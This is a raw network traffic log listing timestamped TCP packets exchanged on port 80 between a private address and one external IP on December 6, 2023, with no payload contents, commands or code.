Dec 6, 2023 14:50:51.043400049 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.043414116 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.043463945 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.043498993 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.043512106 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.043560982 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.043596983 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.044200897 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.044253111 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.044290066 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.044301987 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.044351101 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.044388056 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.044399023 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.044449091 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.044491053 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.044501066 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.045099020 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.045142889 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.062640905 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.062696934 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.062746048 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.062745094 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.062844038 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.062885046 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.082820892 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.084898949 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.084919930 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.084973097 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.084983110 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.085027933 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.085055113 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.085097075 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.085130930 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.085135937 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.085220098 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.085258961 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.085266113 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.085282087 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.085319996 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.085346937 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.085414886 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.085453033 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.085743904 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.085871935 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.085912943 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.087007999 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.087029934 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.087066889 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.087093115 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.087188005 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.087210894 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.087225914 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.087249994 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.087286949 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.087312937 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.087379932 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.087415934 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.087548018 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.087610006 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.087646008 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.087722063 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.087821007 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.087857008 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.087971926 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.088063002 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.088103056 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.088143110 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.088299036 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.088339090 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.088423967 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.088504076 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.088541985 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.088670015 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.089004040 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.089051962 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.089062929 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.089102030 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.089138985 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.089261055 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.089346886 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.089386940 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.089412928 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.089705944 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.089750051 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.089802027 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.090274096 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.090323925 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.090325117 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.090451956 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.090473890 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.090491056 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.090513945 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.090552092 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.090573072 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.090780973 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.090816975 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.090825081 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.090873003 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.090895891 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.090914011 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.090918064 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.090940952 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.090959072 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.090962887 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.090985060 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.091006994 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.091008902 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.091049910 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.091052055 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.091073036 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.091108084 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.091109991 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.091146946 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.091183901 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.091347933 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.091372013 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.091408968 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.091464043 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.091487885 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.091525078 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.091526985 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.091550112 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.091586113 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.091667891 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.091692924 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.091715097 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.091736078 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.091737032 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.091761112 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.091773987 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.091885090 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.091907978 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.091922998 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.091939926 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.091974974 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.092001915 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.092026949 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.092067003 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.092094898 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.092118979 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.092142105 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.092155933 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.092180014 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.092216015 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.092225075 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.092247963 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.092283010 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.092451096 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.092508078 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.092530966 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.092546940 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.092552900 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.092575073 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.092596054 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.092597961 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.092633009 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.092634916 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.093400955 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.093445063 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.093460083 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.093483925 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.093507051 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.093521118 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.093529940 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.093570948 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.093571901 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.093595028 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.093630075 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.094305038 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.094454050 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.094502926 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.094504118 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.094525099 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.094547987 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.094562054 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.094585896 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.094608068 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.094623089 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.094650984 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.094686985 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.095390081 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.095432997 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.095457077 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.095469952 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.095479012 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.095500946 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.095520973 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.095540047 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.095561981 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.095578909 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.096394062 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.096422911 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.096437931 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.096450090 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.096476078 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.096486092 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.096503973 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.096529961 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.096539021 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.096574068 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.096616983 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.097259998 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.097287893 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.097313881 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.097326040 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.097341061 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.097367048 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.097376108 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.097394943 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.097420931 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.097430944 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.098237038 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.098265886 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.098280907 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.098323107 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.098350048 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.098359108 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.098387957 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.098423958 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.098432064 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.098475933 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.098516941 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.099137068 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.099164963 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.099193096 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.099200964 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.099220037 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.099246025 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.099256039 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.099292040 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.099318981 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.099328041 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.100084066 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.100111961 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.100126982 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.100138903 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.100167036 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.100178003 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.100193977 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.100220919 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.100229979 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.100248098 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.100284100 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.100963116 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.101003885 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.101054907 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.101058960 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.101082087 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.101108074 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.101124048 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.101135015 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.101161957 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.101178885 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.101908922 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.101938963 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.101955891 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.101965904 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.101994038 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.102006912 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.102020025 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.102045059 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.102060080 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.102072954 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.102114916 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.102988005 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.103058100 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.103102922 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.103133917 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.103224039 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.103257895 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.103265047 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.103336096 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.103378057 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.103389978 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.104093075 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.104120970 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.104140043 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.104198933 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.104243040 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.104373932 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.104706049 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.104751110 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.104799986 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.104850054 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.104892015 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.104965925 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.105029106 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.105067968 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.105137110 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.105202913 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.105246067 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.105247021 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.105345011 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.105386972 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.105577946 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.105621099 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.105664968 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.105793953 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.105835915 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.105878115 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.105878115 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.105947018 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.105990887 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.105999947 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.106041908 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.106081009 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.106084108 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.106730938 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.106772900 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.106779099 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.106813908 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.106854916 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.106856108 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.106894970 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.106935978 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.106937885 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.106976986 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.107017994 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.107667923 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.107709885 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.107748985 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.107752085 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.107789040 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.107829094 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.107830048 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.107870102 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.107908964 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.107911110 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.108592033 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.108634949 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.108642101 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.108675957 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.108715057 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.108716965 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.108767033 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.108805895 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.108810902 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.108846903 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.108891010 CET	49705	80	192.168.2.5	172.67.165.204
